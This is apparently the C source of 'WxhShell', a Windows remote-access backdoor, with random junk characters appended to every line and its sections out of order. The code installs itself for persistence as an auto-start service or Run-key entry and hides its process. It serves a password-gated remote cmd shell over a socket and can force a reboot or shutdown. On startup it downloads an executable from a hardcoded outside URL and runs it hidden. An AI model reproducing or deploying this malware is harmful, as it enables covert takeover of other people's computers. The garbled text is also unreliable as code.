    if(Boot(SHUTDOWN)) )4YtdAV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !83 N#Y_Mz  
    else { h9. Yux  
    closesocket(wsh); q}"HxMJ  
    ExitThread(0); $z@nT.x5  
    } m Le 70U  
    break; JJ_KfnH  
    } gp{Z]{io  
  // 获取shell gi? wf  
  case 's': { |Y+[_D}  
    CmdShell(wsh); ;O .;i,#Z  
    closesocket(wsh); c-?0~A  
    ExitThread(0); ZmaW]3$  
    break; 3/su1M[  
  } 6k1_dRu  
  // 退出 lqoVfj'6M  
  case 'x': { w-wJhc|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Y?}'?  
    CloseIt(wsh); w/fiNY5FZ  
    break; /'>ck2drjk  
    } U}-hV@y  
  // 离开 eoiC.$~\  
  case 'q': { /cD]m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bde6 ;=oM  
    closesocket(wsh); Y$ ZDJNz  
    WSACleanup(); 3KKq1][  
    exit(1); &e4EZ  
    break; AeW_W0j  
        } Xu{S4#1  
  } MG,?,1_ &  
  } 61z^(F$@  
z8PV&o  
  // 提示信息 W%#LHluP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q>/[*(.Wd  
} %BkPkQA  
  } C9`x"$  
s:sk`~2<gd  
  return; ).r04)/  
} =XUt?5  
myZ8LQ&  
// shell模块句柄 z-kB!~r  
int CmdShell(SOCKET sock) !wjD6 NK  
{ 8qq'q"g  
STARTUPINFO si; 4?7OP t6  
ZeroMemory(&si,sizeof(si)); O~F8lQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %e=UYBj"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  Y}Nd2  
PROCESS_INFORMATION ProcessInfo; ?uE@C3 e  
char cmdline[]="cmd"; 1ZfhDtK(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -s6;IoG/  
  return 0; 1,sD'iNb  
} @0%^\Qf2  
TUR2|J@n  
// 自身启动模式 2{-'`l fM%  
int StartFromService(void) eJZt&|7N  
{ )G$0:-J-  
typedef struct M7AUY#)  
{ !r_2b! dy  
  DWORD ExitStatus; t. kOR<  
  DWORD PebBaseAddress; myWa>Mvb  
  DWORD AffinityMask; OQsF$% *   
  DWORD BasePriority; >Co5_sCe  
  ULONG UniqueProcessId; ;e ^`r;]  
  ULONG InheritedFromUniqueProcessId; iD!]I$  
}   PROCESS_BASIC_INFORMATION; 2-u9%  
Bf6\KI<V2  
PROCNTQSIP NtQueryInformationProcess; 'uF"O"*  
E`UEl$($  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JVNp= ikK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k*= #XbX  
@RI\CqFHR  
  HANDLE             hProcess; Hz3KoO &  
  PROCESS_BASIC_INFORMATION pbi; *8xMe  
1"} u51  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8|\?imOp\[  
  if(NULL == hInst ) return 0; t9m08K:Y  
H5p&dNO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g=n /w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =xsTVT;sj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8u#2M8.5E  
[e`6gGO  
  if (!NtQueryInformationProcess) return 0; Fop'm))C8  
. ,n>#lL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U_C 1GT-|  
  if(!hProcess) return 0; ,qO2D_  
^ Nm!b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r4Jc9Tv d  
Y**|e4  
  CloseHandle(hProcess); +`~6Weay  
y8=H+Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SW_jTn#x  
if(hProcess==NULL) return 0; K)r|oW=6Y  
$/;;}|hqi  
HMODULE hMod; XfH[: XG3  
char procName[255]; d,caOE8N  
unsigned long cbNeeded; 4z>SI\Ss  
)Fh5*UC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \L{V|}"X  
 q<Zza  
  CloseHandle(hProcess); k'JfXrW<!  
=-|,v*  
if(strstr(procName,"services")) return 1; // 以服务启动 O4fl$egQU  
%.VFj7J  
  return 0; // 注册表启动 use` y^c  
} ptEChoZ6  
`E2HQA@  
// 主模块 Z`Sbq{Kx  
int StartWxhshell(LPSTR lpCmdLine) /L? ia  
{ 2io~pk>  
  SOCKET wsl; MF/@Efjn ]  
BOOL val=TRUE; tEHgQto  
  int port=0; ae|j#!~oi  
  struct sockaddr_in door; K/ 5U;oC  
'PVxc %[  
  if(wscfg.ws_autoins) Install(); Rk@xv;t;  
2VyJ  
port=atoi(lpCmdLine); vX/("[  
b;%>?U`>p  
if(port<=0) port=wscfg.ws_port; :927y  
rGb<7b%  
  WSADATA data; tDIQ=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d/Y#oVI  
}MXC0Z~si  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A 2Rp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X(*MHBd  
  door.sin_family = AF_INET; wPrqFpf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6@; P  
  door.sin_port = htons(port); #:LI,t  
 d| OEZx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $I }k>F  
closesocket(wsl); DZE@C^ 0%  
return 1; _?QVc0S!  
} #9ZHt5T=$  
M=Cl|  
  if(listen(wsl,2) == INVALID_SOCKET) { =/SBZLR(9  
closesocket(wsl); !{%BfZX<&  
return 1; dNfME*"yN  
} 38l 8n.  
  Wxhshell(wsl); kx31g,cf]w  
  WSACleanup(); 'sT7t&v~  
FEwPLViso  
return 0; ;"Q.c#pA$g  
oK#UEn  
} f*46,` x  
B EB[K2[9  
// 以NT服务方式启动 !)$e+o^W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @\s*f7  
{ G24 Ov&H  
DWORD   status = 0; 7/b\NLeJ'  
  DWORD   specificError = 0xfffffff; )LDBvpJyQ  
5Sv;a(}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #$0*Gd-N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !}PZCbDhL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B Ms?+  
  serviceStatus.dwWin32ExitCode     = 0; w9]HJ3qi  
  serviceStatus.dwServiceSpecificExitCode = 0; 2U.'5uA"L  
  serviceStatus.dwCheckPoint       = 0; ,A9_xdv5  
  serviceStatus.dwWaitHint       = 0; ' >R?8Y  
x,:DL)$1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5~GH*!h%;  
  if (hServiceStatusHandle==0) return; Dlqvz|X/  
"cDMFu  
status = GetLastError(); 5e}adHjM  
  if (status!=NO_ERROR) q)PLc{NO  
{ Bx 9v2x.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &Xh_`*]ox  
    serviceStatus.dwCheckPoint       = 0; :^H2D=z@  
    serviceStatus.dwWaitHint       = 0; vMYL( ]e  
    serviceStatus.dwWin32ExitCode     = status; 5VZZk%oy  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5DxNHEuS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 13K|=6si  
    return; @P @{%I  
  } A} v;uNS]  
^ i8"eF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u%sfHGrH  
  serviceStatus.dwCheckPoint       = 0; h h7unHt-  
  serviceStatus.dwWaitHint       = 0; (bp4ly^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |e{ ^Yf4  
} ^aR^M\38  
=M`Xu#eRk  
// 处理NT服务事件,比如:启动、停止 #sM`>KG6T1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C8t;E`  
{ _Nacqa  
switch(fdwControl) Lq2ZgKd!  
{ >0E3Em<(}l  
case SERVICE_CONTROL_STOP: _|VF^\i  
  serviceStatus.dwWin32ExitCode = 0; s a{x.2/o}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g1v=a  
  serviceStatus.dwCheckPoint   = 0; $|m'~AmI  
  serviceStatus.dwWaitHint     = 0; u5N&Wn{  
  { pc2;2^U_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dgc}T8R  
  } q1pB~eg5  
  return;  OEnCN  
case SERVICE_CONTROL_PAUSE: I/* ULR,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sT'j36Nc<,  
  break; 08G${@D+X0  
case SERVICE_CONTROL_CONTINUE: U(/8dCyyY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V@o#" gZ  
  break; {5 Sy=Y  
case SERVICE_CONTROL_INTERROGATE: fUq:`#Q  
  break; Zk~~`h  
}; 3HqTVq`&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pv8vW'G\E  
} Y^tUcBm\  
;a 6Z=LB  
// 标准应用程序主函数 [*U.bRs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L<k(stx~  
{ 46U*70  
RQYD#4|  
// 获取操作系统版本 o1R:1!"2  
OsIsNt=GetOsVer(); c2Wp 8l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MSE0z !t  
MO@XbPZB  
  // 从命令行安装 {Y|?~ha#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,!dVhG#  
3b[.s9Q  
  // 下载执行文件 9#E)H?`g  
if(wscfg.ws_downexe) { |[!7^tU*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V3(8?Fz.  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ug  )eyu  
} q.VZP  
N\anjG  
if(!OsIsNt) { "0LSy x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?Ta<.j  
HideProc(); SZvp %hS0  
StartWxhshell(lpCmdLine); ipyc(u6Z5  
} L)c]i'WZ  
else >i"WKd=  
  if(StartFromService()) |3mcL'  
  // 以服务方式启动 VS3lz?o?6g  
  StartServiceCtrlDispatcher(DispatchTable); {Z1KU8tp  
else {q! :t0X.Y  
  // 普通方式启动 lvx[C7?  
  StartWxhshell(lpCmdLine); HCT+.n6  
u#UtPF7q  
return 0; 7%Ou6P$^fr  
} ?x/Lb*a^  
Va[t'%~&zR  
fp}5QUm-  
QmMA]Q  
=========================================== X?o6=)SC|  
5mX^{V&^  
ZCuoYE$g  
TE: |w Xe  
kB.CeG]tk  
k$GtzjN  
" 2~R%_r+<  
5Q\ hd*+g  
#include <stdio.h> wjXv{EsMq  
#include <string.h> 3L36 2  
#include <windows.h> !v8](UI8-  
#include <winsock2.h> qu&p)*M5  
#include <winsvc.h> $]rC-K:Z  
#include <urlmon.h> 0g9y4z{H  
Xk!wT2;  
#pragma comment (lib, "Ws2_32.lib") \-SC-c  
#pragma comment (lib, "urlmon.lib") %C_c%3d  
9/_~YY=/h  
#define MAX_USER   100 // 最大客户端连接数 Hb/8X !=  
#define BUF_SOCK   200 // sock buffer nk;^sq4M:  
#define KEY_BUFF   255 // 输入 buffer iBwM]Eyv.  
r uIgoB  
#define REBOOT     0   // 重启 Xzl$Qc  
#define SHUTDOWN   1   // 关机 Xck`"RU<xA  
=;(L$:l~  
#define DEF_PORT   5000 // 监听端口 `O5427Im  
-@ra~li,yQ  
#define REG_LEN     16   // 注册表键长度 ^7a@?|,q8  
#define SVC_LEN     80   // NT服务名长度 qeb}~FL"o  
C-\3,  
// 从dll定义API xIwILY|W=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O`5hj q#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ AIFIy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oJQ \?~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z;MPp#Y  
D8{ ,}@  
// wxhshell配置信息 [RY Rt/?Q  
struct WSCFG { J=&}$  
  int ws_port;         // 监听端口 P| hwLM  
  char ws_passstr[REG_LEN]; // 口令 *s<cgPKJ @  
  int ws_autoins;       // 安装标记, 1=yes 0=no G1\F7A  
  char ws_regname[REG_LEN]; // 注册表键名 FmhAUe  
  char ws_svcname[REG_LEN]; // 服务名 V(8,94vm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j^WYM r,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j+rY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "l hj1zZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M| Nh(kvH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9kB R/{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A!Tm[oqu  
*(qj!U43  
}; zXU g(xu  
@vB-.XU  
// default Wxhshell configuration CI-1>= "OE  
struct WSCFG wscfg={DEF_PORT, ahQY-%>  
    "xuhuanlingzhe", 4j8$& ~/  
    1, r Nurzag  
    "Wxhshell", mi.,Z`]o  
    "Wxhshell", kBxEp/y  
            "WxhShell Service", W 1u!&:O  
    "Wrsky Windows CmdShell Service", v*&j A 8D  
    "Please Input Your Password: ", Y`#6MhFT7  
  1, X%iJPJLza  
  "http://www.wrsky.com/wxhshell.exe", K7@|2;e  
  "Wxhshell.exe" JPHM+3v  
    }; evpy%/D  
uGF{0 )0g  
// 消息定义模块 V%z?wDC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ens]?,`0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t\}_WygN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <EQaYZY=  
char *msg_ws_ext="\n\rExit."; z;y{QO  
char *msg_ws_end="\n\rQuit."; (z8 ;J> 7  
char *msg_ws_boot="\n\rReboot..."; R7K`9 c1f6  
char *msg_ws_poff="\n\rShutdown..."; Fq_>}k@fI  
char *msg_ws_down="\n\rSave to "; ,L lYRj 5  
uE<8L(*B  
char *msg_ws_err="\n\rErr!"; ^B%c3U$o  
char *msg_ws_ok="\n\rOK!"; g"k4Z  
2r ;h">  
char ExeFile[MAX_PATH]; ca3SE^  
int nUser = 0; _aBy>=2c$  
HANDLE handles[MAX_USER]; u! &T}i:  
int OsIsNt; 5423Ky<  
hlZ{bO 'f  
SERVICE_STATUS       serviceStatus; 3%Eu$|B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jm@,Ihz=wI  
];"40/X  
// 函数声明 ecQ{ePoU  
int Install(void); r d-yqdJ  
int Uninstall(void); g{i= $xc  
int DownloadFile(char *sURL, SOCKET wsh); 5IOGH*'U8  
int Boot(int flag); ) <{u oH  
void HideProc(void); .9WOT ti  
int GetOsVer(void); Bs`{qmbC  
int Wxhshell(SOCKET wsl); =mF"D:s*  
void TalkWithClient(void *cs); /qMnIo  
int CmdShell(SOCKET sock); y:^o ._  
int StartFromService(void); /]_|uN)Q  
int StartWxhshell(LPSTR lpCmdLine); j"hEs(t  
/!^,+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *^Ges;5 $"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9bM kP2w>  
c9o]w8p/  
// 数据结构和表定义 \uZ|2WG`  
SERVICE_TABLE_ENTRY DispatchTable[] = 8|<</v8i  
{ =[&+R9s  
{wscfg.ws_svcname, NTServiceMain}, 6)*B%$?x  
{NULL, NULL} o ABrhK  
}; _)~1'tCs}h  
qp/1 tC`  
// 自我安装 [f! { -T  
int Install(void) Yh!=mW!OY  
{ Shn=Q  
  char svExeFile[MAX_PATH]; vz>9jw:Y  
  HKEY key; a!/\:4-uc  
  strcpy(svExeFile,ExeFile); W h)  
9<&M~(dwT4  
// 如果是win9x系统,修改注册表设为自启动 :o8|P  
if(!OsIsNt) { 4hLk+z<n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @/ |g|4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <#4""FO*  
  RegCloseKey(key); -CuuO=h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8)=(eI$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); </D.}ia  
  RegCloseKey(key); }Hq3]LVE  
  return 0; E:dN)  
    } ZI;*X~h  
  } (,jsZ!sl  
} n6.Z{Q'b  
else { ZS wuEX  
F'OO{nF  
// 如果是NT以上系统,安装为系统服务 o $W@@aM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cTzR<Yr  
if (schSCManager!=0) ?upd  
{ z-b78A/8  
  SC_HANDLE schService = CreateService 8a`3eM~?[  
  ( RXg\A!5GV  
  schSCManager, |aAyWK  S  
  wscfg.ws_svcname, -j]c(Q MA]  
  wscfg.ws_svcdisp, `B4Ilh"d  
  SERVICE_ALL_ACCESS, ~3M8"}X;L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {6GX ?aw'  
  SERVICE_AUTO_START, az:}RE3o  
  SERVICE_ERROR_NORMAL, 8/(}Wet  
  svExeFile, >l><d!hw  
  NULL, wdfbl_`T  
  NULL, iQ(j_i'+!I  
  NULL, _pZ <  
  NULL, A[^#8evaK  
  NULL |9\i+)C  
  ); k ,ldi  
  if (schService!=0) G+Z ,i c  
  { ,Yx<"2 W  
  CloseServiceHandle(schService); #b;k+<n[X  
  CloseServiceHandle(schSCManager); /<n7 iIK)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [?|yQ x  
  strcat(svExeFile,wscfg.ws_svcname); E:B"!Y6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vs[!B-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D (8Z90  
  RegCloseKey(key); 4'*-[TKC  
  return 0; 3<+ZA-2  
    } V0Oqq0\  
  } }BU%<5CQ  
  CloseServiceHandle(schSCManager); ?A7 AVR  
} -,+C*|mu  
} BJb,  
&V$cwB  
return 1; h&CZN !  
} NfPWcK [  
MD;Z UAX<  
// 自我卸载 fh3uo\`@  
int Uninstall(void) XPqGv=CN  
{ L(K 5f7\  
  HKEY key; R&;x_4dr^  
GiX3c^V"1  
if(!OsIsNt) { MGMJeq vr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  R*2N\2  
  RegDeleteValue(key,wscfg.ws_regname); JxwKTFU'3O  
  RegCloseKey(key); !J<Xel {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 21tv(x  
  RegDeleteValue(key,wscfg.ws_regname); J&fIW Z  
  RegCloseKey(key);  iY$iL<  
  return 0; E56  
  } 6'kQ(r>  
} 0$c(<+D  
} e ar:`11z  
else { B!,&{[D  
Nv.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (wq8[1Wzup  
if (schSCManager!=0) poW%Fzj  
{ d]E={}qo&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;YY<KuT  
  if (schService!=0) YR0AI l:L  
  { jY%.t)>)  
  if(DeleteService(schService)!=0) { au+Jz_$)  
  CloseServiceHandle(schService); A :KZyd"Z  
  CloseServiceHandle(schSCManager); )Cj1VjAg  
  return 0; =TNFAt  
  } HM0&%  
  CloseServiceHandle(schService); WwTl|wgvyI  
  } M>m!\bb%.  
  CloseServiceHandle(schSCManager); @@K/0:],  
} Vdx o  
} `r-Jy{!y4  
v JGH8$%;,  
return 1; /huh}&NNu  
} FCEmg0qdjD  
e,p*R?Y{[  
// 从指定url下载文件 [(_,\:L${  
int DownloadFile(char *sURL, SOCKET wsh) aWJ BYw6{L  
{ !ITM:%  
  HRESULT hr; c}n66qJF5  
char seps[]= "/"; OYt_i'Q  
char *token; 4hxP`!<  
char *file; S-o )d  
char myURL[MAX_PATH]; L-E?1qhP>  
char myFILE[MAX_PATH]; qx1Js3%  
j>;1jzr2}  
strcpy(myURL,sURL); .rO~a.kG  
  token=strtok(myURL,seps); 2bTS, N/>  
  while(token!=NULL) syg{qtBz^  
  { 3e^0W_>6  
    file=token; 0(Y,Q(JTo&  
  token=strtok(NULL,seps); !Whx^B:  
  } K)    
*,CJ 3< >  
GetCurrentDirectory(MAX_PATH,myFILE); lMu9Dp  
strcat(myFILE, "\\"); 9y&;6V.'  
strcat(myFILE, file); Xw'sh#i2  
  send(wsh,myFILE,strlen(myFILE),0); 0nCiN;sA  
send(wsh,"...",3,0); 2e1%L,y{W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^j${#Q  
  if(hr==S_OK) Cq/u$G  
return 0; n:wAxU  
else ]zyT_}&  
return 1; q?mpvpL G  
"IQYy~ /  
} >SvS(N{  
mMllen  
// 系统电源模块 .wq j  
int Boot(int flag) (nmsw6 X  
{ go yDG/  
  HANDLE hToken; U4-RI]Cpf  
  TOKEN_PRIVILEGES tkp; .hxFFk%5  
v&;JVai  
  if(OsIsNt) { 5lD`qY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YHom9& A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }]dzY(   
    tkp.PrivilegeCount = 1; 1 +-Go}I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *q=\ e9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7J5jf231  
if(flag==REBOOT) { eDP&W$s#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 12'MzIsU's  
  return 0; kG5+kwV=:  
} o:ow"cOEf  
else {  u? >x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cSB_b.@"1  
  return 0; 8(Ptse  ,  
} >gL&a#<S  
  } .!L{yU,  
  else { qvo!nr7  
if(flag==REBOOT) { HxW/t7Z(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l lcq~*zz  
  return 0; Nb3O> &J  
} x?B`p"ifS  
else { @<$m`^H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G7`mK}J7  
  return 0; W0mvwYON[  
} h(AL\9{=}  
} R"HV|Dm|m  
@8m%*pBg  
return 1; &F#eYEuy  
} eQ)*jeD  
U_'M9g{,<  
// win9x进程隐藏模块 MHt ~ZVH  
void HideProc(void) $v2t6wS,"  
{ f ]_ki  
PE6,9i0ee  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /^jl||'H,:  
  if ( hKernel != NULL ) :oW 16m1`  
  { EX!`Zejf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xbw;s}B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q>K3a1x  
    FreeLibrary(hKernel); XaE*$:   
  } H)Me!^@[D  
'j{o!T0  
return; )i.pE ]!+  
} w{_g"X  
qTbc?S46pt  
// 获取操作系统版本 _]ZlGq!L  
int GetOsVer(void) j~.tyxOq#  
{ 0S>L0qp  
  OSVERSIONINFO winfo; J,:;\Xhl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CF-tod  
  GetVersionEx(&winfo); f$5pp=s:n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o/a2n<4  
  return 1; R#y"SxD()  
  else [OOQ0c~  
  return 0; /3hY[#e  
} ?5B?P:=kl  
<VstnJo`Z  
// 客户端句柄模块 ~&<vAgy,  
int Wxhshell(SOCKET wsl) Crj7n/mp]s  
{ Mr4,?Z&`-d  
  SOCKET wsh; =vF!  
  struct sockaddr_in client; 0Ba]Zo Z  
  DWORD myID; f>Ua7!b  
2/A*\  
  while(nUser<MAX_USER) 9* 3;v;F  
{ ci2Z_JA+  
  int nSize=sizeof(client); tcl9:2/^]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SvkCx>6/G  
  if(wsh==INVALID_SOCKET) return 1; nIL67&  
3Ur_?PM+C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j@+$lU*r  
if(handles[nUser]==0) "Vl4=W)u  
  closesocket(wsh); :Sd`4"AA  
else H0])>1sWB  
  nUser++; | X#!5u  
  } 9(!AKKrr;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0k5uqGLXe  
:r "G Z  
  return 0; Nr*X1lJ6  
} %;u"2L0@  
j+ L:Ao  
// 关闭 socket tEo-Mj5:  
void CloseIt(SOCKET wsh) :HrFbq  
{ {SXSQ'=  
closesocket(wsh); [Pjitw/?  
nUser--; ,g0t&jITo  
ExitThread(0); tq'ri-c&b  
} KkpbZ7\@  
,=G]tnsv^  
// 客户端请求句柄 \Z42EnJ  
void TalkWithClient(void *cs) gE^pOn  
{ [~\]<;;\  
z'1%%.r;FM  
  SOCKET wsh=(SOCKET)cs; {{M/=WqC  
  char pwd[SVC_LEN]; xz.M'az\  
  char cmd[KEY_BUFF]; o%;ly  
char chr[1]; 3< 6h~ek )  
int i,j; KDP47A  
/5L\:eX%  
  while (nUser < MAX_USER) { (4ZO[Ae  
"zXrfn  
if(wscfg.ws_passstr) { +Q);t,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ir{ 4k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j%bC9UkE3  
  //ZeroMemory(pwd,KEY_BUFF); IDos4nM27]  
      i=0; yk5K8D[tV  
  while(i<SVC_LEN) { -Hw3rv3o  
.b<W*4{j0H  
  // 设置超时 } d8\ Jg  
  fd_set FdRead; &?1^/]'"r  
  struct timeval TimeOut; ErJ@$&7  
  FD_ZERO(&FdRead); ,!%E\`  
  FD_SET(wsh,&FdRead); p-EU"O  
  TimeOut.tv_sec=8; TKGaGMx6@  
  TimeOut.tv_usec=0; T KAs@X,t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mDbTOtD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m]fUV8U  
eu_ZsseZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]sVWQj  
  pwd=chr[0]; f#GMJ mCQs  
  if(chr[0]==0xd || chr[0]==0xa) { &^HVuYa.0  
  pwd=0; SVn@q|N  
  break; d-tg^Ot#  
  } Nz`v+sp  
  i++; _JNYvng m  
    } f>ktv76  
zG9D Ph  
  // 如果是非法用户,关闭 socket Y[}A4`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n9J{f"`m  
} +5Dc5Bl  
tQNrDp+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3^ y<Db  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M | "'`zc  
NqOX);'L0  
while(1) { MOCcp s*  
W,CAg7:*  
  ZeroMemory(cmd,KEY_BUFF); v;;3 K*c>  
iJ8Z^=>  
      // 自动支持客户端 telnet标准   6XU p$Pd(  
  j=0; mR XR uK  
  while(j<KEY_BUFF) { l*&N<Yu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?#Z4Dg 9|  
  cmd[j]=chr[0]; >8OY6wb  
  if(chr[0]==0xa || chr[0]==0xd) { F4z#u2~TC  
  cmd[j]=0; g\.$4N  
  break; 'plUs<A  
  } `\\s%}vZ*T  
  j++; j_<!y(W  
    } {R@V  
h{ix$Xn~  
  // 下载文件 \$Wpt#V  
  if(strstr(cmd,"http://")) {  @,k5T51m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gvh"3|u ?z  
  if(DownloadFile(cmd,wsh)) =IQ}Y_xr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <anKw|  
  else 0!lWxS0#=  
